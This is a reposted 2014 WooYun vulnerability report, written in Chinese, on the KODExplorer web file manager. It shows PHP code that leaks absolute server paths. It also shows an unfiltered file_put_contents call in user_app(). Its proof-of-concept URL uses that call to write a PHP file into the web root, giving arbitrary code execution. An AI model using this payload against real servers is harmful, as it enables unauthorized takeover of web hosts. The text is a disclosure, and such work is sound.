记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

芒果云KODExlporer 信息泄露+任意命令执行getshell(一)

2014-12-16 02:45

代码我是从官网下的。。。

狗哥,等待通用奖励呢



我也不用怎么分析了,自己下载套源码搭建吧!

我不想喷厂商了。。。

具体代码我贴关键。。。估计厂商自己懂。。。



先爆一颗信息泄露,你的绝对路径泄露了。。。我也是一个个文件看过来的



在controller\app.class.php中



code 区域
public function index() {

$this->display(TEMPLATE.'app/index.php');

}



跟踪父类Controller

code 区域
protected function display($tpl_file){

global $L,$LNG;



//var_dump($this->values);exit();

extract($this->values);

require($this->tpl.$tpl_file);

}



看看他包含的模板吧!

你找下templeate/index.php中

code 区域
<script src="<?php echo STATIC_PATH;?>js/lib/seajs/sea.js"></script>

<script type="text/javascript">



var LNG = <?php echo json_encode($L);?>;

var G = {

is_root : <?php echo $GLOBALS['is_root'];?>,

web_root : "<?php echo $GLOBALS['web_root'];?>",

web_host : "<?php echo HOST;?>",

static_path : "<?php echo STATIC_PATH;?>",

basic_path : "<?php echo BASIC_PATH;?>",

version : "<?php echo KOD_VERSION;?>"

};



其中的

code 区域
web_host : "<?php echo HOST;?>",

static_path : "<?php echo STATIC_PATH;?>",

basic_path : "<?php echo BASIC_PATH;?>",

version : "<?php echo KOD_VERSION;?>"



厂商你是怎么想的???

你难道想把你的菊花爆出来让人艹么???

看看本地的截图

1.jpg

看到了么?

code 区域
web_root : "E:/wwwroot/",

web_host : "http://localhost/",

static_path : "./static/",

basic_path : "E:/wwwroot/www/",

version : "2.71"







看getshell吧!

分给起。。。不然到时候给你爆更多。。。





0x02 getshell

看你的第二个方法

code 区域
public function user_app() {

//phpinfo();

//var_dump($this->in['path']);exit();

$path = _DIR($this->in['path']);

//echo $path."<br/>";

if (isset($this->in['action']) && $this->in['action'] == 'add'){

$path .= '.oexe';



}

$data = json_decode(rawurldecode($this->in['data']),true);

unset($data['name']);unset($data['desc']);unset($data['group']);

$res = file_put_contents($path, json_encode($data));

show_json($this->L['success']);

}





这里$path 我也就不解释怎么来的了,厂商你懂。。。我就get过来吧,方便点

code 区域
$data = json_decode(rawurldecode($this->in['data']),true);

unset($data['name']);unset($data['desc']);unset($data['group']);

$res = file_put_contents($path, json_encode($data));



看到没?

直接$this->in['data']过来的数据?? 有过滤吗? 直接rawurldecode ,然后json_decode然后删除几个数组,直接写文件。。。你考虑过你的用户菊花疼吗?

我给你来写个文件试试。。。

http://localhost/www/index.php?app/user_app&path=fuck.php&data={"name":"1","desc":"2","group":"3","0":"<?php phpinfo();?>"}

我也不解释了。。。厂商你这么牛逼,你懂的。。。。

直接写根目录了。。。。

看截图

2.jpg



3.jpg



4.jpg







漏洞证明:

我也不解释了。。。厂商你这么牛逼,你懂的。。。。

直接写根目录了。。。。

看截图

2.jpg



3.jpg



4.jpg

修复方案:

还修复啥。。都尼玛都是虚假漏洞

知识来源: www.wooyun.org/bugs/wooyun-2014-076293

阅读:78971 | 评论:0 | 标签:无

想收藏或者和大家分享这篇好文章→复制链接地址

“芒果云KODExlporer 信息泄露+任意命令执行getshell(一)”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

关注公众号hackdig,学习最新黑客技术

推广

工具

标签云